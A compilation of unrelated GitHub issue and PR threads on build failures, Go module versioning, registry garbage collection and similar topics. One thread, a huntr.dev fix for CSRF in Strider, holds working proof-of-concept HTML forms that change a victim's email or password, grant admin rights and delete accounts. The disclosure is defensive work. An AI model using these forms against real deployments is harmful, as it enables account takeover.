source_type: localBuild fails with Ansible Vagrant Deployer

TASK [master : Copy master binaries] *******************************************
failed: [kube-master] => (item=kube-apiserver) => {"failed": true, "item": "kube-apiserver", "msg": "could not find src=/Users/daneyonhansen/Desktop/_output/local/go/bin/kube-apiserver"}
failed: [kube-master] => (item=kube-scheduler) => {"failed": true, "item": "kube-scheduler", "msg": "could not find src=/Users/daneyonhansen/Desktop/_output/local/go/bin/kube-scheduler"}
failed: [kube-master] => (item=kube-controller-manager) => {"failed": true, "item": "kube-controller-manager", "msg": "could not find src=/Users/daneyonhansen/Desktop/_output/local/go/bin/kube-controller-manager"}
failed: [kube-master] => (item=kubectl) => {"failed": true, "item": "kubectl", "msg": "could not find src=/Users/daneyonhansen/Desktop/_output/local/go/bin/kubectl"}
failed: [kube-master] => (item=kubelet) => {"failed": true, "item": "kubelet", "msg": "could not find src=/Users/daneyonhansen/Desktop/_output/local/go/bin/kubelet"}

RUNNING HANDLER [master : restart daemons] *************************************
	to retry, use: --limit @../cluster.retry

PLAY RECAP *********************************************************************
kube-master                : ok=142  changed=35   unreachable=0    failed=1
kube-node-1                : ok=71   changed=16   unreachable=0    failed=0
kube-node-2                : ok=71   changed=16   unreachable=0    failed=0

Ansible failed to complete successfully. Any error output should be
visible above. Please fix these errors and try again.

change source_type: packageManager in group_vars/all.yml and the Vagrant deployer works

cc @rutsky @stephenrlouie

Note: Make sure to remove the reference to source_type: packageManager in vagrant/README.md before closing issue.

@danehans I opened #643 with suggestion to use packageManager as default source type (as I think it's more reasonable default).


Updating snapshot and adding null check on embeddable

Description
updating snapshot and adding null check before getting index patterns
Check List

[x] Commits are signed per the DCO using --signoff

By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.
For more information on following Developer Certificate of Origin and signing off your commits, please check here.

DCO is failing as the commit is not signed.


Azure Hybrid Worker Docker missing onboarding.py

Issue;
https://stackoverflow.com/questions/56294484/azure-hybrid-worker-docker
I am trying to build a Azure Hybird Working inside of a container however the onboarding.py script and the folder structure are missing with respect to the following path.  It is the only folder missing in the download "/nxOMSAutomationWorker"
/opt/microsoft/omsconfig/modules/nxOMSAutomationWorker/DSCResources/MSFT_nxOMSAutomationWorkerResource/automationworker/scripts/onboarding.py

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: e38be5b8-d76d-a4f1-c014-7bf9248be2de
Version Independent ID: 976e5e90-b28c-d7ba-0495-69d92e62ea46
Content: Azure Automation Linux Hybrid Runbook Worker
Content Source: articles/automation/automation-linux-hrw-install.md
Service: automation
Sub-service: process-automation
GitHub Login: @georgewallace
Microsoft Alias: gwallace

@piotrzaremba Thanks for bringing this to our attention. Your feedback has been shared with the content owner for further review.

@piotrzaremba Thanks for reaching out.. I am attempting to repro your issue, please stand by.

@piotrzaremba I'm also seeing this.
Using Centos 7.5 Openlogic Azure image.

@piotrzaremba and @gazataeon We will need some more information to figure out what is going on here.. I would suggest reaching out to support so we can figure out what is going on.
cc: @femsulu

@georgewallace @femsulu
Running the following container and it fails.
 I still recommend you reach out to support to determine why this isn't working for you. @MicrosoftDocs/azure-cxp-triage #please-close

@piotrzaremba I'm trying to install a hybrid worker inside of a container as well. Did you find out why the onboarding.py script cannot be found?

@amoghrabi sorry to say no.  They have yet to figure it out not sure what the issue is.

I want to post an update that I've made some progress on this issue. It looks like when the OMS agent is installed and needs to reboot, it tries to use systemctl which doesn't work because systemd isn't installed. I've posted my findings here: https://stackoverflow.com/questions/56294484/azure-hybrid-worker-docker/57500272#57500272
I'll open a ticket on the OMS repo.

@georgewallace, @AMoghrabi has made progress with this issue, I don't suggest closing it I know several of my co-workers and other industry professionals would like to dockerizer the agent to allow azure resources e.g. runbooks to handle triggering workloads.

Hi, we are trying to run a Linux Hybrid worker in AKS, though, as is mentioned above, the onboarding.py script is missing from the OMS agent installation.
We tried to circumvent the issue by importin the Linux DSC nxOMSAutomationWorker where the script exists.
The last issue we are facing is that the .pyc can't be move from the root. Link


Add Basic Scryfall Data Validation Tests

Validate that...

[ ] fields are populated for a couple different card types (normal, flip, split, etc).
[ ] image urls haven't changed structure (being that the base cdn url is removed from the card list).
[ ] image urls resolve successfully.

sort of covered this?


freedv: 1.8.5 -> 1.8.6

Automatic update generated by nixpkgs-update tools. This update was made based on information from https://github.com/drowe67/freedv-gui/releases.
meta.description for freedv is: "Digital voice for HF radio"
meta.homepage for freedv is: "https://freedv.org/"
meta.changelog for freedv is: ""
Updates performed

Version update

To inspect upstream changes

Release on GitHub

Compare changes on GitHub

Impact

Checks done (click to expand)

built on NixOS
The tests defined in passthru.tests, if any, passed
found 1.8.6 with grep in /nix/store/8cmnpj7w2w890r4sqzzxcv5ghgnbl6qy-freedv-1.8.6
found 1.8.6 in filename of file in /nix/store/8cmnpj7w2w890r4sqzzxcv5ghgnbl6qy-freedv-1.8.6

Rebuild report (if merged into master) (click to expand)

1 total rebuild path(s)

1 package rebuild(s)

First fifty rebuilds by attrpath
freedv

Instructions to test this update (click to expand)

Either download from Cachix:
nix-store -r /nix/store/8cmnpj7w2w890r4sqzzxcv5ghgnbl6qy-freedv-1.8.6 \
  --option binary-caches 'https://cache.nixos.org/ https://nix-community.cachix.org/' \
  --option trusted-public-keys '
  nix-community.cachix.org-1:mB9FSh9qf2dCimDSUo8Zy7bkq5CX+/rkCWyvRCYg3Fs=
  cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
  '

(The Cachix cache is only trusted for this store-path realization.)
For the Cachix download to work, your user must be in the trusted-users list or you can use sudo since root is effectively trusted.
Or, build yourself:
nix-build -A freedv https://github.com/r-ryantm/nixpkgs/archive/5f9146daee699d5ad3dc21313f77cece4d7afe87.tar.gz

After you've downloaded or built it, look at the files and if there are any, run the binaries:
ls -la /nix/store/8cmnpj7w2w890r4sqzzxcv5ghgnbl6qy-freedv-1.8.6
ls -la /nix/store/8cmnpj7w2w890r4sqzzxcv5ghgnbl6qy-freedv-1.8.6/bin

Pre-merge build results
We have automatically built all packages that will get rebuilt due to
this change.
This gives evidence on whether the upgrade will break dependent packages.
Note sometimes packages show up as failed to build independent of the
change, simply because they are already broken on the target branch.
Result of nixpkgs-review run on x86_64-linux 1

1 package built:

freedv

Maintainer pings
cc @illdefined @wegank for testing.

Result of nixpkgs-review pr 207807 run on x86_64-linux 1

1 package built:

freedv

Tested basic functionality on Linux/x86-64.


before() not working

Hi - I can't use before() with karma-mocha, only beforeEach(). I get TypeError: Cannot read property '$injector' of null
	TypeError: Cannot read property '$injector' of null
	    at Context.workFn (/Users/timruffles/dev/capco/analytics/public/lib/angular-mocks/angular-mocks.js:2215:22)

My first guess it that you cannot use &injector along with before. Could you show us your test?

Yes exactly, I've experienced this for ages. But why? If before() doesn't work with karma mocha shouldn't it be documented?

You should file an issue about this with angular rather than here. karma-mocha just executes mocha in conjunction with karma, it has nothing to do with the $injector.

Problem of angular-mocks not karma-mocha
Thanks!


NotImplementedError: There was no rule registered for HOP flex_attention and mode

Hi, thank you for releasing this wonderful code base.
When I'm trying to combine causal and cross-document mask, like below
document_ids = document_ids.unsqueeze(1)  # [B, S] -> [B, 1, S]

def document_causal_mask(b, h, q_idx, kv_idx):
       causal_mask = q_idx >= kv_idx
       document_mask = document_ids[b, h, q_idx] == document_ids[b, h, kv_idx]
        return causal_mask & document_mask

block_mask = create_block_mask(document_causal_mask,
B=xq.shape[0], H=None,
Q_LEN=xq.shape[2], KV_LEN=xk.shape[2], device=xq.device)

# xq/xk/xv shape: [B,H,S,d]
output = flex_attention(xq, xk, xv, block_mask=block_mask, score_mod=None)

I encountered this error:
    File "/lustre/fsw/portfolios/llmservice/users/xiaolwang/software/miniforge3/envs/torchtitan-triton/lib/python3.10/site-packages/torch/_higher_order_ops/flex_attention.py", line 703, in flex_attention_autograd
      out, logsumexp = FlexAttentionAutogradOp.apply(
    File "/lustre/fsw/portfolios/llmservice/users/xiaolwang/software/miniforge3/envs/torchtitan-triton/lib/python3.10/site-packages/torch/autograd/function.py", line 575, in apply
      return super().apply(*args, **kwargs)  # type: ignore[misc]
    File "/lustre/fsw/portfolios/llmservice/users/xiaolwang/software/miniforge3/envs/torchtitan-triton/lib/python3.10/site-packages/torch/_higher_order_ops/flex_attention.py", line 591, in forward
      out, logsumexp = flex_attention(
    File "/lustre/fsw/portfolios/llmservice/users/xiaolwang/software/miniforge3/envs/torchtitan-triton/lib/python3.10/site-packages/torch/_higher_order_ops/flex_attention.py", line 109, in __call__
      return super().__call__(
    File "/lustre/fsw/portfolios/llmservice/users/xiaolwang/software/miniforge3/envs/torchtitan-triton/lib/python3.10/site-packages/torch/_ops.py", line 433, in __call__
      return wrapper()
    File "/lustre/fsw/portfolios/llmservice/users/xiaolwang/software/miniforge3/envs/torchtitan-triton/lib/python3.10/site-packages/torch/_dynamo/eval_frame.py", line 632, in _fn
      return fn(*args, **kwargs)
    File "/lustre/fsw/portfolios/llmservice/users/xiaolwang/software/miniforge3/envs/torchtitan-triton/lib/python3.10/site-packages/torch/_ops.py", line 424, in wrapper
      return torch.overrides.handle_torch_function(
    File "/lustre/fsw/portfolios/llmservice/users/xiaolwang/software/miniforge3/envs/torchtitan-triton/lib/python3.10/site-packages/torch/overrides.py", line 1717, in handle_torch_function
      result = mode.__torch_function__(public_api, types, args, kwargs)
    File "/lustre/fsw/portfolios/llmservice/users/xiaolwang/software/miniforge3/envs/torchtitan-triton/lib/python3.10/site-packages/torch/_higher_order_ops/flex_attention.py", line 85, in __torch_function__
      return func(*args, **(kwargs or {}))
    File "/lustre/fsw/portfolios/llmservice/users/xiaolwang/software/miniforge3/envs/torchtitan-triton/lib/python3.10/site-packages/torch/_higher_order_ops/flex_attention.py", line 109, in __call__
      return super().__call__(
    File "/lustre/fsw/portfolios/llmservice/users/xiaolwang/software/miniforge3/envs/torchtitan-triton/lib/python3.10/site-packages/torch/_ops.py", line 433, in __call__
      return wrapper()
    File "/lustre/fsw/portfolios/llmservice/users/xiaolwang/software/miniforge3/envs/torchtitan-triton/lib/python3.10/site-packages/torch/_dynamo/eval_frame.py", line 632, in _fn
      return fn(*args, **kwargs)
    File "/lustre/fsw/portfolios/llmservice/users/xiaolwang/software/miniforge3/envs/torchtitan-triton/lib/python3.10/site-packages/torch/_ops.py", line 429, in wrapper
      return self.dispatch(
    File "/lustre/fsw/portfolios/llmservice/users/xiaolwang/software/miniforge3/envs/torchtitan-triton/lib/python3.10/site-packages/torch/_ops.py", line 334, in dispatch
      raise NotImplementedError(
  NotImplementedError: There was no rule registered for HOP flex_attention and mode <torch.utils.checkpoint._CachingTorchDispatchMode object at 0x14f2d67d1c90>. We recommend filing an issue.

Could you please help me with this? Thank you!
My env:
torch                    2.5.0

From the error message, I speculate it's because I'm using FlexAttention in a gradient checkpointed nn module. I'm wondering is there a way to make FlexAttention compatible with that?

@LeoXinhaoLee This is currently a gap in our support - we're currently working on it. See https://github.com/pytorch/pytorch/issues/140322


(fleet) part 1 - add setup command

Currently the bootstrapper has to run multiple commands on the installer to run the default setup.
This PR aims to ease this constraint by making the bootstrapper just install the installer + execute a single command on it.
Plan
To avoid the risk of an incompatible bootstrapper & installer in the wild, 2 PRs + releases will be needed

release new command on the installer
re-release with the bootstrapper using this command

/merge


Improve formatting of the 500 error page

What is the Purpose?
Resolve issues raised by #608
What was the approach?

The improper centering was due to the text below the images being large. This was resolved by simply removing the last word of the sentence in the middle, and putting it in the third line.
For the logo, I changed the reference to the image from {{ STATIC_URL }}/img/... to static/img/.... I can't pinpoint exactly why the old code was not working, especially that it is working fine with the 404 page.
Fixing the footer WIP

Are there any concerns to addressed further before or after merging this PR?
Mentions?
@ninetteadhikari @odenypeter
Issue(s) affected?
#608

@TAnas0 silly question 😳 how can I invoke the error page to see the changes?


Garbage collect: first enumerate blobs, then mark

This request fixes the issue of blobs being deleted during GC if a tag was pushed after it had been marked.
If we swap the order of GC phases, i.e. enumerating blobs first, then even if a new push occurs during long-running 'mark' phase, we will not delete those new pushed blobs, because we haven't enumerated them.
I think that it is quite simple solution to the old problem, maybe even too simple to not have a pitfall of some kind. I will be happy if someone reviews this and highlights any issues.

Most probably it would remove the need to switch registry to RO mode during GC and fix issue https://github.com/distribution/distribution/issues/2881

If we swap the order of GC phases, i.e. enumerating blobs first, then even if a new push occurs during long-running 'mark' phase, we will not delete those new pushed blobs, because we haven't enumerated them.

@seralepo A push may not be 100% new blobs, it's possible that the blobs are enumerated, and then a push comes in during a long-running mark phase that re-references a blob that's included in the enumerated blobs, but wasn't referenced by any manifest during the start of the mark phase. That blob will then be deleted by the garbage collector after the end of the mark phase, even though it's referenced by the new manifest.
More subtly, we must assume that we're operating with an eventually consistent storage backend: https://github.com/distribution/distribution/blob/main/docs/architecture.md#eventual-consistency. In particular, this makes ensuring data integrity during garbage collection potentially impossible without a period of read-only time.

@deleteriousEffect Thank you for the detailed explanation. Now I see that this fix does not guarantee 100% safety in case registry is not RO during GC. But from practical point of view, do you think that maybe it would fix it for most of the cases?
My point is that in practice pushes mostly either create new blobs, or they reference existing blobs, which were already referenced in some other manifest. For example, let's take for example this typical Dockerfile:
FROM registry.example.com:443/baseimage:1.0.0
COPY app /app
ENTRYPOINT ["/app/entrypoint.sh"]

Now if I build this image and push it to registry.example.com:443, 2 new layers will be uploaded to registry, and all other layers will be re-referenced from registry.example.com:443/baseimage:1.0.0.
All blobs of my new image are either new, or referenced from an existing tagged image. Both will not be deleted during GC with the proposed fix applied, while without the fix the new blobs might be deleted.

Now I see that this fix does not guarantee 100% safety in case registry is not RO during GC. But from practical point of view, do you think that maybe it would fix it for most of the cases?

@seralepo I can't speak for other maintainers, but I'd be uncomfortable with accepting a PR like this that seems to encourage taking a risk, even a reduced one, with data integrity.

blobSet has the potential to grow significantly larger than markSet with this implementation, it would push more registries into the set which can no longer run GC.

blobSet has the potential to grow significantly larger than markSet with this implementation, it would push more registries into the set which can no longer run GC.

@brackendawson this is right, the new blobSet structure will contain digests of all blobs present in the registry at the beginning of GC, while markSet contains digests only of referenced blobs. This might have an increased memory footprint. But these days memory is not scarce, especially considering the benefits of safer GC.

This might have an increased memory footprint. But these days memory is not scarce, especially considering the benefits of safer GC.

Memory usage can begin to become an issue for larger registries — I've seen issues myself with the GC process getting killed by the OOM killer starting at 10TiB registries with some alterations to the GC algorithm compared to what we have here.
It would be helpful to measure the differences between this PR and what we have now, so we can at least talk about concrete numbers.


cmd/go: major version without preceding tag must be v0, not v1 - breaks build of github.com/go-check

What version of Go are you using (go version)?

$ go version

go version devel +e9782bdebd Thu Aug 8 00:38:10 2019 +0000 linux/amd64

Does this issue reproduce with the latest release?
Yes
What operating system and processor architecture are you using (go env)?
go env Output
$ go env
GO111MODULE="auto"
GOARCH="amd64"
GOBIN=""
GOCACHE="/home/travis/.cache/go-build"
GOENV="/home/travis/.config/go/env"
GOEXE=""
GOFLAGS=""
GOHOSTARCH="amd64"
GOHOSTOS="linux"
GONOPROXY=""
GONOSUMDB=""
GOOS="linux"
GOPATH="/home/travis/gopath"
GOPRIVATE=""
GOPROXY="https://proxy.golang.org,direct"
GOROOT="/home/travis/.gimme/versions/go"
GOSUMDB="sum.golang.org"
GOTMPDIR=""
GOTOOLDIR="/home/travis/.gimme/versions/go/pkg/tool/linux_amd64"
GCCGO="gccgo"
AR="ar"
CC="gcc"
CXX="g++"
CGO_ENABLED="1"
GOMOD="/home/travis/gopath/src/gomodules.xyz/cert/go.mod"
CGO_CFLAGS="-g -O2"
CGO_CPPFLAGS=""
CGO_CXXFLAGS="-g -O2"
CGO_FFLAGS="-g -O2"
CGO_LDFLAGS="-g -O2"
PKG_CONFIG="pkg-config"
GOGCCFLAGS="-fPIC -m64 -pthread -fmessage-length=0 -fdebug-prefix-map=/tmp/go-build463038650=/tmp/go-build -gno-record-gcc-switches"

What did you do?

I am running my tests against go:tip in Travis. This is breaking build for external library.
https://travis-ci.org/gomodules/cert/jobs/569425585
What did you expect to see?
I expect the build to not break. This can be a warning not an error.
What did you see instead?
$ go build ./...
go<EMAIL_ADDRESS>requires
<EMAIL_ADDRESS>requires
<EMAIL_ADDRESS>invalid pseudo-version: major version without preceding tag must be v0, not v1

CC @bcmills @jayconrod
Are you suggesting that we should remove that check, or are you suggesting that github.com/go-check should fix their versioning?

I am suggesting that Go should remove that check or make that a warning. I am sure there are more libraries that are out there which don't follow this rule.

Here is another but seems related build break:
https://travis-ci.org/kmodules/monitoring-agent-api/jobs/569397065#L231
go<EMAIL_ADDRESS>requires
<EMAIL_ADDRESS>requires
<EMAIL_ADDRESS>requires
<EMAIL_ADDRESS>requires
<EMAIL_ADDRESS>invalid pseudo-version: version before v0.1.0 would have negative patch number
The command "go build -v ./..." exited with 1.

Sorry, this change is intentional. In Go 1.13, the Go command enforces pseudo-version validity more strictly. Among other reasons, this is necessary to prevent people from bypassing minimal version selection by using pseudo-versions like v1.999.999-20180628173108-788fd7840127. It's important that versions are under control of module authors. The change is explained in the Go 1.13 release notes.
If an invalid version appears in a go.mod file you control, you can replace it with a commit or branch name. For example, change
require github.com/go-check/check v1.0.0-20180628173108-788fd7840127

to
require github.com/go-check/check 788fd7840127

then run go mod tidy, which will update the go.mod with the equivalent pseudo-version.
If an invalid version appears in one of your dependencies (as is the case here), you can work around it with a replace directive:
replace github.com/go-check/check v1.0.0-20180628173108-788fd7840127 => 788fd7840127

then run go mod tidy.

Note that these issues have already been fixed in their respective upstream repositories:
https://github.com/flosch/pongo2/commit/bbf5a6c351f4d4e883daa40046a404d7553e0a00
https://github.com/census-ecosystem/opencensus-go-exporter-ocagent/commit/472362afb97449f5de52757f63ee2d58cc417666
It may require a bit of work to upgrade past the references to the invalid versions, but it should be possible — and you can patch them with replace directives in the meantime.

If an invalid version appears in a go.mod file you control, you can replace it with a commit or branch name.

What do you mean by invalid version? I am using Go 1.12.7 on my development machine. This is how I got that version number. I add the following line:
require (
  github.com/go-check/check <commit_hash>
)

Then run go mod tidy. Go automatically writes that invalid version. So, what was auto generated by Go 1.12.7 is now considered invalid by Go 1.13?
Also, the original issue major version without preceding tag must be v0, not v1 seems unrelated in that case. What to do about that?

What do you mean by invalid version?

See https://tip.golang.org/doc/go1.13#version-validation.

I am using Go 1.12.7 on my development machine. […] Go automatically writes that invalid version.

If you already had an invalid version in your module cache with Go 1.12, then it would erroneously use that version to satisfy new dependencies in other modules too. See #27171 and #27173.

Also, the original issue major version without preceding tag must be v0, not v1 seems unrelated in that case.

That is one of the many sub-cases of #27173. The replace workaround should work for that version as well.

@tamalsaha in the particular case of the Go code found in https://github.com/go-check/check, the canonical package import is gopkg.in/check.v1. If you use that import path with Go 1.13 (or any previous release), you should have no errors:
$ go1.13 get gopkg.in/check.v1
go: finding gopkg.in/check.v1 latest
go: downloading gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15
go: extracting gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15
go: downloading github.com/kr/pretty v0.1.0
go: extracting github.com/kr/pretty v0.1.0
go: downloading github.com/kr/text v0.1.0
go: extracting github.com/kr/text v0.1.0
go: finding github.com/kr/pretty v0.1.0
go: finding github.com/kr/text v0.1.0

If you already had an invalid version in your module cache with Go 1.12, then it would erroneously use that version to satisfy new dependencies in other modules too.

I've got a repo with lots of modules and dependencies between those modules. I've also got a commit in the remote repo where versions in the go.mod file have an invalid pseudo version, which I only realized by trying to build all modules with Go 1.13 in addition to 1.12.7. I'm now trying to fix this. I deleted the local cached module, searched&replaced the invalid version string by the newest commit hash and ran go mod tidy on all modules. Some entries in the go.mod files are correct now, while others still get an invalid pseudo version, despite having deleted the cached modules.
I guess a replace could work (as in so many cases where people reported problems with submodules or invalid pseudo versions), but I just wanted to point out that deleting the module cache doesn't seem to solve the issue in all cases.
If this is unexpected behavior I can provide more details. If this is expected behavior then maybe a clarification helps me and future GitHub issue readers to understand it better.
go version go1.12.7 windows/amd64

just remove dependency module from go.mod ,and next update dependency it's ok 😄


Security Fix for Cross-site Request Forgery (CSRF) - huntr.dev

https://huntr.dev/users/arjunshibu has fixed the Cross-site Request Forgery (CSRF) vulnerability 🔨. Think you could fix a vulnerability like this?
Get involved at https://huntr.dev/
Q | A
Version Affected | ALL
Bug Fix | YES
Original Pull Request | https://github.com/418sec/strider/pull/1
Vulnerability README | https://github.com/418sec/huntr/blob/master/bounties/other/strider/1/README.md
User Comments:
📊 Metadata *
Bounty URL: https://www.huntr.dev/bounties/1-other-strider
⚙ Description *
Strider is an Open Source Continuous Deployment / Continuous Integration platform. It is written in Node.js and Ember.js and uses MongoDB as a backing store. This platform is vulnerable to Cross-Site Request Forgery (CSRF). It allowes an attacker to takeover accounts, privillege escalation and accounts deletion.
💻 Technical Description *
CSRF Protection is implemented using csurf middleware.
🐛 Proof of Concept (PoC) *

Setup MongoDB
Install the package

git clone https://github.com/Strider-CD/strider.git
cd strider/apps/strider
npm i
node bin/strider addUser # add users accordingly
NODE_ENV=production npm start # start server

Login as admin
Use any of the CSRF POCs

Change email
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost:3000/api/account/email" method="POST">
      <input type="hidden" name="email" value="admin2@test.com" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Change password
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost:3000/api/account/password" method="POST">
      <input type="hidden" name="password" value="hacked" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Privilege escalation
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost:3000/admin/make_admin">
      <input type="hidden" name="user" value="user@test.com" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Account deletion
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost:3000/admin/remove_user" method="POST">
      <input type="hidden" name="email" value="admin@test.com" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

🔥 Proof of Fix (PoF) *

Build app

cd strider/apps/strider
npm i
npm run build

Build client

cd strider/clients/classic-ui
npm i
npm run build

Start server

Before fix:

After fix:

👍 User Acceptance Testing (UAT)

I've executed unit tests.
After fix the functionality is unaffected.

Thanks for this, looks good!

Thanks for this, looks good!


Doesn't detect my GUROBI_HOME variable

I have a free academic license that I successfully validated. I downloaded the last version of Gurobi: 8.1.1. Building Gurobi.jl fails :
(v1.2) pkg> build Gurobi
  Building Gurobi → `~/.julia/packages/Gurobi/TX8tY/deps/build.log`
┌ Error: Error building `Gurobi`:
│ ERROR: LoadError: Unable to locate Gurobi installation. If the advice above did not help,
│ open an issue at https://github.com/JuliaOpt/Gurobi.jl and post the full
│ print-out of this diagnostic attempt.
│
│ Stacktrace:
│  [1] error(::String) at ./error.jl:33
│  [2] top-level scope at /home/dehaybe/.julia/packages/Gurobi/TX8tY/deps/build.jl:145
│  [3] include at ./boot.jl:328 [inlined]
│  [4] include_relative(::Module, ::String) at ./loading.jl:1094
│  [5] include(::Module, ::String) at ./Base.jl:31
│  [6] include(::String) at ./client.jl:431
│  [7] top-level scope at none:5
│ in expression starting at /home/dehaybe/.julia/packages/Gurobi/TX8tY/deps/build.jl:143
│ Unable to locate Gurobi installation. Running some common diagnostics.
│
│ Gurobi.jl only supports the following versions:
│
│  - gurobi81
│  - gurobi80
│  - gurobi75
│  - gurobi70
│
│ Did you download and install one of these versions from gurobi.com?
│
│
│ Looking for a version of Gurobi in your path:
│
│
│ We could not find a version of Gurobi in your path, and we could
│ not find the environment variable `GUROBI_HOME`. You should set
│ the `GUROBI_HOME` environment variable to point to the install
│ location. For example:
│ - on Windows, this might be `C:\Program Files\gurobi810\win64\`
│ - on OSX, this might be `/Library/gurobi810/mac64/`
│ - on Unix, this might be `/opt/gurobi810/linux64/`
│
│ Alternatively, you can add the Gurobi install directory to your path.
└ @ Pkg.Operations /buildworker/worker/package_linux64/build/usr/share/julia/stdlib/v1.2/Pkg/src/backwards_compatible_isolation.jl:647

But in my Linux shell:
$GUROBI_HOME
bash: /opt/gurobi811/linux64: Is a directory

It looks like your environment variables aren't being passed to Julia for some reason.
Open a Julia REPL and try
ENV["GUROBI_HOME"] = "/opt/gurobi811/linux64/"
import Pkg
Pkg.build("Gurobi")

Ok great, that worked. Will I have to set the variable every new Julia session before "using Gurobi" ?

No. It should just work, although you may have to repeat the above if you update `Gurobi.jl.
In the long run, it's worth figuring out why the environment variables aren't coming through.


Palm Detection Model

Hello,
About "palm_detection.tflite" model,
How is the regressor output decoded to the actucal boxes, and also the way anchor boxes are generated. I've been trying to understand it for days now.
Thanks in anticipation.

Hi @lamarrr,
I'm also trying to understand the output formatting. Here's what I came up with so far:
So because this is a SSD-based architecture I've started with reading this great tutorail. Also by visualizing the model in Netron you can learn that it produces 3 prediction maps (unlike 6 in SSD) 32x32, 16x16 and 8x8. For anchor generation you can look into this file, which provides the general code for anchor generation.
If you're interested I've learned how to build a tflite interpreter with support for custom operations used in the model, so you can run inference in Python.
I still have trouble figuring out how rotations are encoded though.
Hopefully someone helps us out soon.

We were assigned to this project where I intern.
I don't have problem building the tflite interpreter in python. I'm concerned about the overheard and liable errors. I was able to build a custom interpreter in C++ which is far easier. Also I use a laptop with a small RAM and processing power, so building the whole Tensorflow makes my laptop hang all the time.
I think It's transformed so that it's aligned with one of the hand landmark features.
I was later able to reverse engineer everything and works perfectly for me now. Though not portable.
The regressors is primarily used to obtain a ROI for palm landmark detection.
I also used netron to visualize it about 4 days ago, only gave the classificators and regressors, the problem is with the regressors. Since the AnchorGenerator is standalone you can easily get their outputs with some modifications. This would give you the anchors that will be used in decoding the output of the regressors.
I didn't later use mediapipe, but a modified version of their code and so far it works pretty well.
It's a really good framework but with poor packaging and tooling.
Really hoping to address issues like this over the course of my next internship.

but be sure to be familiar with Protobuf, most of the definitions are provided in the 'formats' directory, the Ssd Anchors Calculators utilize this lightweight Protobuf serialization data formats. Which I also think makes it able to communicate with the java ni.

Hi @wolterlw , we use wrist and MCP of middle finger to rotate. See here.

Hi @lamarrr,
I'm also trying to understand the output formatting. Here's what I came up with so far:
So because this is a SSD-based architecture I've started with reading this great tutorail. Also by visualizing the model in Netron you can learn that it produces 3 prediction maps (unlike 6 in SSD) 32x32, 16x16 and 8x8. For anchor generation you can look into this file, which provides the general code for anchor generation.
If you're interested I've learned how to build a tflite interpreter with support for custom operations used in the model, so you can run inference in Python.
I still have trouble figuring out how rotations are encoded though.
Hopefully someone helps us out soon.

Hi @lamarrr ,
Thank you for trying out Mediapipe. Your feedback is very appreciated! We are actively working on improving the framework, e.g. better API and tools. Hope you can find it easier to use in the near future :)

We were assigned to this project where I intern.
I don't have problem building the tflite interpreter in python. I'm concerned about the overheard and liable errors. I was able to build a custom interpreter in C++ which is far easier. Also I use a laptop with a small RAM and processing power, so building the whole Tensorflow makes my laptop hang all the time.
I think It's transformed so that it's aligned with one of the hand landmark features.
I was later able to reverse engineer everything and works perfectly for me now. Though not portable.
The regressors is primarily used to obtain a ROI for palm landmark detection.
I also used netron to visualize it about 4 days ago, only gave the classificators and regressors, the problem is with the regressors. Since the AnchorGenerator is standalone you can easily get their outputs with some modifications. This would give you the anchors that will be used in decoding the output of the regressors.
I didn't later use mediapipe, but a modified version of their code and so far it works pretty well.
It's a really good framework but with poor packaging and tooling.
Really hoping to address issues like this over the course of my next internship.

Hi @lamarrr ,
Thank you for trying out Mediapipe. Your feedback is very appreciated! We are actively working on improving the framework, e.g. better API and tools. Hope you can find it easier to use in the near future :)

We were assigned to this project where I intern.
I don't have problem building the tflite interpreter in python. I'm concerned about the overheard and liable errors. I was able to build a custom interpreter in C++ which is far easier. Also I use a laptop with a small RAM and processing power, so building the whole Tensorflow makes my laptop hang all the time.
I think It's transformed so that it's aligned with one of the hand landmark features.
I was later able to reverse engineer everything and works perfectly for me now. Though not portable.
The regressors is primarily used to obtain a ROI for palm landmark detection.
I also used netron to visualize it about 4 days ago, only gave the classificators and regressors, the problem is with the regressors. Since the AnchorGenerator is standalone you can easily get their outputs with some modifications. This would give you the anchors that will be used in decoding the output of the regressors.
I didn't later use mediapipe, but a modified version of their code and so far it works pretty well.
It's a really good framework but with poor packaging and tooling.
Really hoping to address issues like this over the course of my next internship.

Thanks 😉👍
Great job!
I'll be contributing and following up with project as much as I can.
Hopefully will learn alot from you guys.

@lamarrr I'm trying to make sense of the documentation for days as well. The document is not really well sought which makes it hard to reuse this great framework


don't display download size for repo cached packages

The Download Size of binary packages is always displayed, even though the packages are actually present in cache.
(cached and not cached)
Repo Packages (27):

Name                            Old Version  New Version  Download Size

...
community/python2-netaddr                    0.7.18-3          1.05 MiB

Repo Download Size:    8.45 MiB

The size should be hidden (or set to 0.00), and the total Repo Download Size should be computed accordingly.
For comparison, here is pacman output:
(not cached)
$ sudo pacman -S community/python2-netaddr
resolving dependencies...
looking for conflicting packages...

Package (1)                New Version  Net Change  Download Size

community/python2-netaddr  0.7.18-3       5.52 MiB       1.05 MiB

Total Download Size:   1.05 MiB
Total Installed Size:  5.52 MiB

(cached)
$ sudo pacman -S community/python2-netaddr
resolving dependencies...
looking for conflicting packages...

Package (1)                New Version  Net Change

community/python2-netaddr  0.7.18-3       5.52 MiB

Total Installed Size:  5.52 MiB

This is actually an issue happening when PKGEXT is changed from the default .pkg.tar.xz.
When using '.pkg.tar in makepkg.conf (to disable package compression for speed), the function GetBuiltPkg() can't find the packages in the pacman cache anymore, and the prompt supposes they aren't cached at all.

A bit hacky, but fixed in 56500a28f6216f21c0dc4affdcc08b1d06b41ec8.


Qingwei/unsubscribe contract

Coverage decreased (-0.08%) to 30.993% when pulling c89681e561335ac6de39838ef2908e9727480c59 on qingweibinary:qingwei/unsubscribe_contract into f749f4a38b264cb5fe8abc4bda29424d7406f341 on binary-com:master.


